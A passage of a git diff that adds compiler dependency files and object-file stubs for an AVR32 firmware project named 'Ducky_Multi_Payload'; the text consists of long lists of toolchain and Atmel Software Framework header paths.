5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/services/fs/fat/navigation.h: + +../src/asf/avr32/services/fs/fat/fs_com.h: + +../src/asf/avr32/services/fs/fat/fat.h: + +../src/asf/avr32/services/fs/fat/file.h: + +../src/asf/common/services/storage/ctrl_access/ctrl_access.h: + +../src/config/conf_access.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/navigation.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/navigation.o new file mode 100644 index 0000000..b18ab15 Binary files /dev/null and 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a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/clock/uc3b0_b1/sysclk.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/clock/uc3b0_b1/sysclk.d new file mode 100644 index 0000000..514fd0e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/clock/uc3b0_b1/sysclk.d @@ -0,0 +1,193 @@ +src/asf/common/services/clock/uc3b0_b1/sysclk.d \ + src/asf/common/services/clock/uc3b0_b1/sysclk.o: \ + ../src/asf/common/services/clock/uc3b0_b1/sysclk.c \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h \ + ../src/asf/common/services/clock/sysclk.h ../src/config/conf_clock.h \ + ../src/asf/common/services/clock/uc3b0_b1/sysclk.h \ + ../src/asf/common/services/clock/osc.h \ + ../src/asf/common/services/clock/uc3b0_b1/osc.h \ + ../src/asf/common/boards/board.h \ + ../src/asf/avr32/boards/evk1101/evk1101.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/common/services/clock/pll.h \ + ../src/asf/common/services/clock/uc3b0_b1/pll.h \ + ../src/asf/common/services/clock/genclk.h \ + ../src/asf/common/services/clock/uc3b0_b1/genclk.h \ + ../src/asf/avr32/drivers/flashc/flashc.h + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/common/services/clock/sysclk.h: + +../src/config/conf_clock.h: + +../src/asf/common/services/clock/uc3b0_b1/sysclk.h: + +../src/asf/common/services/clock/osc.h: + +../src/asf/common/services/clock/uc3b0_b1/osc.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/common/services/clock/pll.h: + +../src/asf/common/services/clock/uc3b0_b1/pll.h: + +../src/asf/common/services/clock/genclk.h: + +../src/asf/common/services/clock/uc3b0_b1/genclk.h: + +../src/asf/avr32/drivers/flashc/flashc.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/clock/uc3b0_b1/sysclk.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/clock/uc3b0_b1/sysclk.o new file mode 100644 index 0000000..a0c7754 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/clock/uc3b0_b1/sysclk.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/sleepmgr/uc3/sleepmgr.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/sleepmgr/uc3/sleepmgr.d new file mode 100644 index 0000000..8c68f25 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/sleepmgr/uc3/sleepmgr.d @@ -0,0 +1,169 @@ +src/asf/common/services/sleepmgr/uc3/sleepmgr.d \ + src/asf/common/services/sleepmgr/uc3/sleepmgr.o: \ + ../src/asf/common/services/sleepmgr/uc3/sleepmgr.c \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 